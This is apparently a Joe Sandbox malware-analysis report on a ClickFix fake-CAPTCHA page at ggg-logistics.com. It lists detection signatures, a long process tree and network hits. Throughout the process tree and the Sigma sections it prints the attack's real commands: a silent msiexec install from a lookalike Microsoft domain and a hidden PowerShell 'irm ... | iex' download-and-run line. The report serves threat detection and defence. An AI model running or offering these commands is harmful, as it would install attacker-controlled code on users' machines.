Edit tour

Windows Analysis Report
https://ggg-logistics.com/

Overview

General Information

Sample URL:	https://ggg-logistics.com/
Analysis ID:	1702652
Infos:

Detection

CAPTCHA Scam ClickFix

Score:	76
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected CAPTCHA Scam ClickFix

HTML page adds supicious text to clipboard

HTML page contains suspicious base64 encoded javascript

Powershell drops PE file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Suspicious powershell command line found

Writes or reads registry keys via WMI

Checks for available system drives (often done to infect USB drives)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTML page contains hidden javascript code

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: MsiExec Web Install

Sigma detected: Msiexec Initiated Connection

Sigma detected: Suspicious MsiExec Embedding Parent

Suricata IDS alerts with low severity for network traffic

Too many similar processes found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6784 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5048 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=3264,i,11090072880951647910,17287777256714508569,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3492 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 1120 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=3264,i,11090072880951647910,17287777256714508569,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4812 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ggg-logistics.com/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cmd.exe (PID: 2532 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 4868 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 4988 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 1500 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding EF716064682E1076D0BADB4927A14935 MD5: 9D09DC1EDA745A5F87553048E57620CF)

powershell.exe (PID: 5596 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('|', $s, 'iex'))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 2888 cmdline: "C:\Windows\system32\systeminfo.exe" MD5: 36CCB1FFAFD651F64A22B5DA0A1EA5C5)

WmiPrvSE.exe (PID: 1312 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 64ACA4F48771A5BA50CD50F2410632AD)

cmd.exe (PID: 2112 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 180 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 5924 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 2144 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 4652 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6644 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 5456 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 3860 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 2568 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 4336 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 4732 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 5396 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 5936 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 1044 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 3320 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 4104 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 1660 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 5508 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 4584 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6312 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 6552 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 5732 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 2912 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 5280 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 5660 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 1920 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 640 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 348 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 6368 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6700 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 4416 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6240 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 3860 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 7132 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 6868 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 5792 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 1064 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 5908 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 6376 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 4736 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 1112 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 3844 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 4980 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6052 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 3340 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 3304 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 1184 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6780 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 6372 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 1136 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 2664 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 2844 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 348 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 4324 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 2652 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 3468 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 604 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 2200 cmdline: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 6012 cmdline: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.2.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
0.1.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('|', $s, 'iex'))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('|', $s, 'iex'))", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding EF716064682E1076D0BADB4927A14935, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 1500, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('|', $s, 'iex'))", ProcessId: 5596, ProcessName: powershell.exe

Sigma detected: MsiExec Web Install

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi, CommandLine: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi, ProcessId: 2532, ProcessName: cmd.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 104.21.84.21, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\System32\msiexec.exe, Initiated: true, ProcessId: 4988, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49716

Sigma detected: Suspicious MsiExec Embedding Parent

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('|', $s, 'iex'))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('|', $s, 'iex'))", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding EF716064682E1076D0BADB4927A14935, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 1500, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('|', $s, 'iex'))", ProcessId: 5596, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('|', $s, 'iex'))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('|', $s, 'iex'))", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding EF716064682E1076D0BADB4927A14935, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 1500, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('|', $s, 'iex'))", ProcessId: 5596, ProcessName: powershell.exe

Suricata Signatures

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-30T21:15:17.005315+0200	1810000	2	Potentially Bad Traffic	192.168.2.5	49720	104.21.86.195	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

HTML page contains suspicious base64 encoded javascript

Source: https://ggg-logistics.com/	HTTP Parser: Base64 decoded: <script>
Source: https://ggg-logistics.com/	HTTP Parser: Base64 decoded: <script>
Source: https://ggg-logistics.com/	HTTP Parser: Base64 decoded: <script>

Source: https://ggg-logistics.com/

HTTP Parser: Base64 decoded: ...

Source: C:\Windows\System32\msiexec.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A737E874-2CD8-4738-B38F-9986E7D8C9C9}

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.254:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49749 version: TLS 1.2

Source:	Binary string: D:\a\_work\1\s\build\ship\x86\burn.pdb source: dotnet-sdk-8.0.408-win-x64.exe.20.dr
Source:	Binary string: D:\a\_work\1\s\build\ship\x86\burn.pdb/ source: dotnet-sdk-8.0.408-win-x64.exe.20.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
